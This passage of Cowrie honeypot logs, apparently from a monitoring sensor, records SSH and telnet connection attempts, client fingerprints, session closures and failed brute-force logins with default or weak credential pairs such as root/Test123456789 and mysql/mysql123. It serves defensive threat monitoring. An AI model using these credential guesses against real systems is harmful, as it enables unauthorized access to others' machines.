sh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:13.254607Z","src_ip":"176.65.139.103","session":"64a2450598ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:13.548554Z","src_ip":"176.65.139.103","session":"64a2450598ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.803526878356934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:14.083865Z","src_ip":"161.97.124.15","session":"4578c9b55c3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36716,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a7467d4cc8","protocol":"telnet","message":"New connection: 161.97.124.15:36716 (159.203.135.109:23) [session: 22a7467d4cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:14.311260Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37066,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e94bc89a981","protocol":"telnet","message":"New connection: 161.97.124.15:37066 (159.203.135.109:23) [session: 7e94bc89a981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:14.499881Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:14.654390Z","src_ip":"176.65.139.103","session":"64a2450598ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38692,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d1a71b79f0","protocol":"telnet","message":"New connection: 161.97.124.15:38692 (159.203.135.109:23) [session: d7d1a71b79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:15.412246Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"30511ab14c56","protocol":"telnet","message":"New connection: 161.97.124.15:42386 (159.203.135.109:23) [session: 30511ab14c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:17.622313Z"}
{"eventid":"cowrie.session.closed","duration":30.62236976623535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:18.074611Z","src_ip":"161.97.124.15","session":"10e9d80e39e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791820526123047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:19.113785Z","src_ip":"161.97.124.15","session":"85386d0b7060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685392379760742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:19.118113Z","src_ip":"161.97.124.15","session":"03a0b1f1f8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":45922,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeec9cf09e6b","protocol":"telnet","message":"New connection: 161.97.124.15:45922 (159.203.135.109:23) [session: eeec9cf09e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:19.297544Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"5279d84d548e","protocol":"telnet","message":"New connection: 161.97.124.15:45932 (159.203.135.109:23) [session: 5279d84d548e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:19.301768Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40732,"dst_ip":"10.17.0.5","dst_port":22,"session":"227fc901fc83","protocol":"ssh","message":"New connection: 176.65.139.103:40732 (10.17.0.5:22) [session: 227fc901fc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:20.206324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:20.233063Z","src_ip":"176.65.139.103","session":"227fc901fc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:20.322703Z","src_ip":"176.65.139.103","session":"227fc901fc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:20.757098Z","src_ip":"176.65.139.103","session":"227fc901fc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:21.843680Z","src_ip":"176.65.139.103","session":"227fc901fc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61a2097d75e","protocol":"telnet","message":"New connection: 213.136.75.179:42634 (10.17.0.5:23) [session: a61a2097d75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:24.648293Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48724,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32c2b629930","protocol":"ssh","message":"New connection: 176.65.139.103:48724 (10.17.0.5:22) [session: c32c2b629930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:27.006732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:27.011150Z","src_ip":"176.65.139.103","session":"c32c2b629930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:27.104957Z","src_ip":"176.65.139.103","session":"c32c2b629930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:27.356208Z","src_ip":"176.65.139.103","session":"c32c2b629930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.476062059402466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:28.189886Z","src_ip":"161.97.124.15","session":"a3ddfc441a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":34250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f23b1ebb7e6","protocol":"telnet","message":"New connection: 161.97.124.15:34250 (159.203.135.109:23) [session: 6f23b1ebb7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:28.297056Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":34626,"dst_ip":"159.203.135.109","dst_port":23,"session":"136c84cea0d8","protocol":"telnet","message":"New connection: 161.97.124.15:34626 (159.203.135.109:23) [session: 136c84cea0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:28.476432Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:28.537715Z","src_ip":"176.65.139.103","session":"c32c2b629930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":56959,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cd4bc66a1f5","protocol":"ssh","message":"New connection: 52.231.220.210:56959 (10.17.0.5:22) [session: 8cd4bc66a1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:30.622803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:30.627481Z","src_ip":"52.231.220.210","session":"8cd4bc66a1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:30.807824Z","src_ip":"52.231.220.210","session":"8cd4bc66a1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123456789","message":"login attempt [root/Test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:31.559822Z","src_ip":"52.231.220.210","session":"8cd4bc66a1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:32.742835Z","src_ip":"52.231.220.210","session":"8cd4bc66a1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36460,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ddafb556d41","protocol":"ssh","message":"New connection: 176.65.139.103:36460 (10.17.0.5:22) [session: 7ddafb556d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:33.400901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:33.405402Z","src_ip":"176.65.139.103","session":"7ddafb556d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:33.487663Z","src_ip":"176.65.139.103","session":"7ddafb556d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:33.932796Z","src_ip":"176.65.139.103","session":"7ddafb556d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:35.017136Z","src_ip":"176.65.139.103","session":"7ddafb556d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52374,"dst_ip":"159.203.135.109","dst_port":23,"session":"c318227affc0","protocol":"telnet","message":"New connection: 161.97.124.15:52374 (159.203.135.109:23) [session: c318227affc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:37.287026Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":48318,"dst_ip":"10.17.0.5","dst_port":22,"session":"da543243745b","protocol":"ssh","message":"New connection: 202.184.144.220:48318 (10.17.0.5:22) [session: da543243745b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:39.546946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:39.550256Z","src_ip":"202.184.144.220","session":"da543243745b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:39.796227Z","src_ip":"202.184.144.220","session":"da543243745b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36474,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b1a52458075","protocol":"ssh","message":"New connection: 176.65.139.103:36474 (10.17.0.5:22) [session: 8b1a52458075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:39.914231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:39.949728Z","src_ip":"176.65.139.103","session":"8b1a52458075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:40.029172Z","src_ip":"176.65.139.103","session":"8b1a52458075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:40.331063Z","src_ip":"176.65.139.103","session":"8b1a52458075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"031290","message":"login attempt [root/031290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:40.810737Z","src_ip":"202.184.144.220","session":"da543243745b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:41.426309Z","src_ip":"176.65.139.103","session":"8b1a52458075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:42.058262Z","src_ip":"202.184.144.220","session":"da543243745b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.607927322387695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:45.107705Z","src_ip":"161.97.124.15","session":"7e94bc89a981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01755404472351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:45.328718Z","src_ip":"161.97.124.15","session":"22a7467d4cc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40094,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad5f1985983","protocol":"telnet","message":"New connection: 161.97.124.15:40094 (159.203.135.109:23) [session: 4ad5f1985983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:45.503977Z"}
{"eventid":"cowrie.session.closed","duration":30.661219358444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.073314Z","src_ip":"161.97.124.15","session":"d7d1a71b79f0","protocol":"telnet"}
